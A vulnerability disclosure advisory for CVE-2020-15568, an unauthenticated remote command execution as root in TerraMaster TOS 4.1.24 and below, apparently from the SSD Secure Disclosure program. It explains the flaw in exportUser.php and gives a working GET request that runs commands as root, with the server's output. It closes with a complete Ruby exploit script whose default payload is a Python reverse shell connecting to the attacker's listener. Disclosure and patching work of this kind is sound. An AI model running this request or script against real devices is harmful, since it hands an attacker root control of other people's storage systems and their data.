TL;DR
Find out how we exploited an unauthenticated TerraMaster OS vulnerability and gained root access to the device.
Vulnerability Summary
TerraMaster Operating System (TOS) is an operating system designed for TNAS devices. Invalid parameter checking in TOS leads to an unauthenticated Remote Code Execution vulnerability in the product, further to that the executed code runs with root privileges.
CVE
CVE-2020-15568
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
TOS version 4.1.24 and below
Vendor Response
The vendor has released a patch for this vulnerability, all versions from version 4.1.29, and above are no longer vulnerable to this issue.
Vulnerability Details
A dynamic class method invocation vulnerability exists in file include/exportUser.php which leads to executing remote commands on TerraMaster devices with root privileges.
The vulnerable file requires several HTTP GET parameters to be provided in order to reach method call and exploit this vulnerability. On first line application includes app.php (see in below code snippet) which autoloads relevant core classes of TOS software.
The application decides operation based on value of GET parameter type. If value of type variable is something different than 1 or 2, then it’s possible to reach vulnerable code.
As seen in below source code of exportUser.php, application requires HTTP GET parameters cla (shorthand for class), func and opt.
<?php include_once "./app.php"; // [1] autoload classes class CSV_Writer{ ... } $type = $_GET['type']; $csv = new CSV_Writer(); if($type == 1){ $P = new person(); $data = $P->export_user($_GET['data']); $csv->exportUser($data); } else if($type == 2) { $P = new person(); $data = $P->export_userGroup($_GET['data']); $csv->exportUsergroup($data); } else { // [2] type value is bigger than 2 //xlsx通用下载 $type = 0; $class = $_GET['cla']; $fun = $_GET['func']; $opt = $_GET['opt']; $E = new $class(); $data = $E->$fun($opt); // [3] vulnerable code call $csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']); } ?>
During code review of other files as well, it has been found that there is a way to exploit this issue with pre-existing classes in TOS software.
PHP Class located in include/class/application.class.php is best candidate to execute commands on devices that runs TOS software.
Since exportUser.php has no authentication controls, it’s possible for unauthenticated attacker to reach code execution by providing following values as HTTP GET parameters.
include/exportUser.php?type=3&cla=application&fun=exec&opt=id&uname -a < output.txt
This request forces exportUser.php to create a new instance of “application” class and call it’s public method “exec” to execute code as root. As a result, application should write output of commands to output.txt in web server.
Demo
Exploit
Following GET request show demonstration of code execution on device that runs TOS software.
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(id;whoami)%3Eoutput.txt
HTTP/1.1
Host: terramaster.nas:8181
Connection: keep-alive
User-Agent: the UA
Result of the executed command will be written to output.txt in the web server directory under /include/output.txt.
HTTP/1.1 200 OK
Date: Thu, 02 Jul 2020 11:49:11 GMT
Content-Type: text/plain
Last-Modified: Thu, 02 Jul 2020 11:46:10 GMT
Transfer-Encoding: chunked
Connection: close
ETag: W/"5efdc902-4e6"
X-Powered-By: TerraMaster
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cross-Origin-Resource-Policy: same-origin
Content-Encoding: gzip
uid=0(root) gid=0(root)
root
An attacker can upload a web shell or trigger python/php interpreter on the system to get a reverse shell.
Below is the exploit that demonstrate it.
require 'net/http' require 'uri' require 'optparse' def make_request(uri, debug) Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http| request = Net::HTTP::Get.new uri response = http.request(request) if debug puts "[LOG] [%d] response: %s" % [response.code, response.body] puts end end end def header() puts "*" * 60 puts puts "TOS V4.1.24 Unauthenticated Remote Root Shell Exploit" puts puts "*" * 60 puts end options = {} header() OptionParser.new do |opts| opts.banner = "Usage: tos_rce_exploit.rb [options]" opts.on("-t target_uri", "URI of target TOS application (e.g: http://terramaster.host:8181)") do |val| options[:target_uri] = val end opts.on("-l local_ip", "Local IP for reverse shell/netcat listener") do |val| options[:local_ip] = val end opts.on("-p local_port", "Local Port for reverse shell/netcat listener") do |val| options[:local_port] = val end opts.on("-c linux_cmd", "Any bash command to be run on target TerraMaster") do |val| options[:cmd] = val end opts.on("-v", "Verbose messages") do |val| options[:debug] = true end end.parse! target = options[:target_uri] local_ip = options[:local_ip] local_port = options[:local_port] debug = options[:debug] || false payload = options[:cmd] || "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{local_ip}\",#{local_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" vulnerable_uri = "#{target}/include/exportUser.php?type=3&cla=application&func=_exec&opt=#{URI.escape(payload)}+%26" puts "[INFO] Make sure that your listener started on #{local_ip}:#{local_port}" puts "[INFO] Sending exploit request to #{target}" puts "[INFO] Vulnerable function don't return command output so forward it to file" if options[:cmd] puts "[DEBUG] #{vulnerable_uri}" if debug make_request URI(vulnerable_uri), debug